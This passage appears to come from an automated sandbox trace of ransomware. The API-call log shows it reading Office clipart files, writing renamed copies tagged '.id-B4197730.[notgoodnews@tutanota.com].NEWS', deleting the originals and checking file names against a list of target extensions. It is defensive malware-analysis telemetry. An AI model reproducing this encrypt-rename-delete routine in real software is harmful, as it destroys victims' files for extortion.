Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0092.628] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.628] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0092.629] GetLastError () returned 0x0 [0092.629] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x3801, lpOverlapped=0x0) returned 1 [0092.631] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x3810, lpOverlapped=0x0) returned 1 [0092.632] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.632] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.632] SetEndOfFile (hFile=0x308) returned 1 [0092.632] CloseHandle (hObject=0x308) returned 1 [0092.632] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.632] SetEndOfFile (hFile=0x350) returned 1 [0092.633] CloseHandle (hObject=0x350) returned 1 [0092.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0092.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0092.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0092.633] lstrlenW (lpString=".doc") returned 4 [0092.633] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.634] lstrlenW (lpString=".docx") returned 5 [0092.634] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0092.634] lstrlenW (lpString=".pdf") returned 4 [0092.634] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.634] lstrlenW (lpString=".xls") returned 4 [0092.634] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.634] lstrlenW (lpString=".xlsx") returned 5 [0092.634] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0092.634] lstrlenW (lpString=".ppt") returned 4 [0092.634] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0092.634] lstrlenW (lpString=".zip") returned 4 [0092.634] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.634] lstrlenW (lpString=".rar") returned 4 [0092.634] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.634] lstrlenW (lpString=".bz2") returned 4 [0092.634] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.634] lstrlenW (lpString=".7z") returned 3 [0092.634] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0092.634] lstrlenW (lpString=".dbf") returned 4 [0092.634] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0092.634] lstrlenW (lpString=".1cd") returned 4 [0092.634] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0092.634] lstrlenW (lpString=".jpg") returned 4 [0092.634] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0092.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0092.634] lstrlenW (lpString=".doc") returned 4 [0092.634] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.634] lstrlenW (lpString=".docx") returned 5 [0092.634] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0092.634] lstrlenW (lpString=".pdf") returned 4 [0092.634] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.635] lstrlenW (lpString=".xls") returned 4 [0092.635] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.635] lstrlenW (lpString=".xlsx") returned 5 [0092.635] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0092.635] lstrlenW (lpString=".ppt") returned 4 [0092.635] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0092.635] lstrlenW (lpString=".zip") returned 4 [0092.635] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.635] lstrlenW (lpString=".rar") returned 4 [0092.635] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.635] lstrlenW (lpString=".bz2") returned 4 [0092.635] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.635] lstrlenW (lpString=".7z") returned 3 [0092.635] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0092.635] lstrlenW (lpString=".dbf") returned 4 [0092.635] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0092.635] lstrlenW (lpString=".1cd") returned 4 [0092.635] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0092.635] lstrlenW (lpString=".jpg") returned 4 [0092.635] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.635] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0092.635] lstrlenW (lpString="J0099197.GIF") returned 12 [0092.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0092.636] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=10898) returned 1 [0092.636] CloseHandle (hObject=0x350) returned 1 [0092.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220 [0092.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0092.636] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.636] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0092.637] GetLastError () returned 0x0 [0092.637] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x2a92, lpOverlapped=0x0) returned 1 [0092.638] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x2aa0, lpOverlapped=0x0) returned 1 [0092.639] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.639] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.639] SetEndOfFile (hFile=0x308) returned 1 [0092.640] CloseHandle (hObject=0x308) returned 1 [0092.640] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.640] SetEndOfFile (hFile=0x350) returned 1 [0092.641] CloseHandle (hObject=0x350) returned 1 [0092.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0092.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0092.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0092.641] lstrlenW (lpString=".doc") returned 4 [0092.641] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.641] lstrlenW (lpString=".docx") returned 5 [0092.641] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0092.641] lstrlenW (lpString=".pdf") returned 4 [0092.641] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.641] lstrlenW (lpString=".xls") returned 4 [0092.641] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.641] lstrlenW (lpString=".xlsx") returned 5 [0092.641] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0092.641] lstrlenW (lpString=".ppt") returned 4 [0092.641] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0092.641] lstrlenW (lpString=".zip") returned 4 [0092.642] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.642] lstrlenW (lpString=".rar") returned 4 [0092.642] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.642] lstrlenW (lpString=".bz2") returned 4 [0092.642] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.642] lstrlenW (lpString=".7z") returned 3 [0092.642] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0092.642] lstrlenW (lpString=".dbf") returned 4 [0092.642] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0092.642] lstrlenW (lpString=".1cd") returned 4 [0092.642] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0092.642] lstrlenW (lpString=".jpg") returned 4 [0092.642] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0092.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0092.642] lstrlenW (lpString=".doc") returned 4 [0092.642] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.642] lstrlenW (lpString=".docx") returned 5 [0092.642] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0092.642] lstrlenW (lpString=".pdf") returned 4 [0092.642] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.642] lstrlenW (lpString=".xls") returned 4 [0092.642] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.642] lstrlenW (lpString=".xlsx") returned 5 [0092.642] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0092.642] lstrlenW (lpString=".ppt") returned 4 [0092.642] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0092.642] lstrlenW (lpString=".zip") returned 4 [0092.642] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.642] lstrlenW (lpString=".rar") returned 4 [0092.642] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.642] lstrlenW (lpString=".bz2") returned 4 [0092.642] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.643] lstrlenW (lpString=".7z") returned 3 [0092.643] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0092.643] lstrlenW (lpString=".dbf") returned 4 [0092.643] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0092.643] lstrlenW (lpString=".1cd") returned 4 [0092.643] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0092.643] lstrlenW (lpString=".jpg") returned 4 [0092.643] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.643] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0092.643] lstrlenW (lpString="J0099198.GIF") returned 12 [0092.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0092.643] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=5259) returned 1 [0092.643] CloseHandle (hObject=0x350) returned 1 [0092.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220 [0092.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0092.644] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.644] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0092.644] GetLastError () returned 0x0 [0092.644] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x148b, lpOverlapped=0x0) returned 1 [0093.072] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1490, lpOverlapped=0x0) returned 1 [0093.073] ReadFile (in: hFile=0x350, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.074] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.074] SetEndOfFile (hFile=0x308) returned 1 [0093.074] CloseHandle (hObject=0x308) returned 1 [0093.074] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.074] SetEndOfFile (hFile=0x350) returned 1 [0093.075] CloseHandle (hObject=0x350) returned 1 [0093.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0093.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0093.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0093.075] lstrlenW (lpString=".doc") returned 4 [0093.075] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0093.075] lstrlenW (lpString=".docx") returned 5 [0093.075] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0093.075] lstrlenW (lpString=".pdf") returned 4 [0093.075] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0093.075] lstrlenW (lpString=".xls") returned 4 [0093.075] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0093.075] lstrlenW (lpString=".xlsx") returned 5 [0093.075] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0093.075] lstrlenW (lpString=".ppt") returned 4 [0093.076] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0093.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0093.076] lstrlenW (lpString=".zip") returned 4 [0093.076] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0093.076] lstrlenW (lpString=".rar") returned 4 [0093.076] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0093.076] lstrlenW (lpString=".bz2") returned 4 [0093.076] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0093.076] lstrlenW (lpString=".7z") returned 3 [0093.076] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0093.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0093.076] lstrlenW (lpString=".dbf") returned 4 [0093.076] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0093.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0093.076] lstrlenW (lpString=".1cd") returned 4 [0093.076] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0093.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0093.076] lstrlenW (lpString=".jpg") returned 4 [0093.076] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0093.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0093.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0093.076] lstrlenW (lpString=".doc") returned 4 [0093.076] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0093.076] lstrlenW (lpString=".docx") returned 5 [0093.076] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0093.076] lstrlenW (lpString=".pdf") returned 4 [0093.076] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0093.076] lstrlenW (lpString=".xls") returned 4 [0093.076] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0093.076] lstrlenW (lpString=".xlsx") returned 5 [0093.076] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0093.076] lstrlenW (lpString=".ppt") returned 4 [0093.076] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0093.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0093.076] lstrlenW (lpString=".zip") returned 4 [0093.077] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0093.077] lstrlenW (lpString=".rar") returned 4 [0093.077] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0093.077] lstrlenW (lpString=".bz2") returned 4 [0093.077] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0093.077] lstrlenW (lpString=".7z") returned 3 [0093.077] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0093.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0093.077] lstrlenW (lpString=".dbf") returned 4 [0093.077] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0093.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0093.077] lstrlenW (lpString=".1cd") returned 4 [0093.077] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0093.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0093.077] lstrlenW (lpString=".jpg") returned 4 [0093.077] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0093.077] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0093.077] lstrlenW (lpString="J0101861.BMP") returned 12 [0093.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0093.077] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=32184) returned 1 [0093.078] CloseHandle (hObject=0x350) returned 1 [0093.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220 [0093.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0093.078] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.078] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 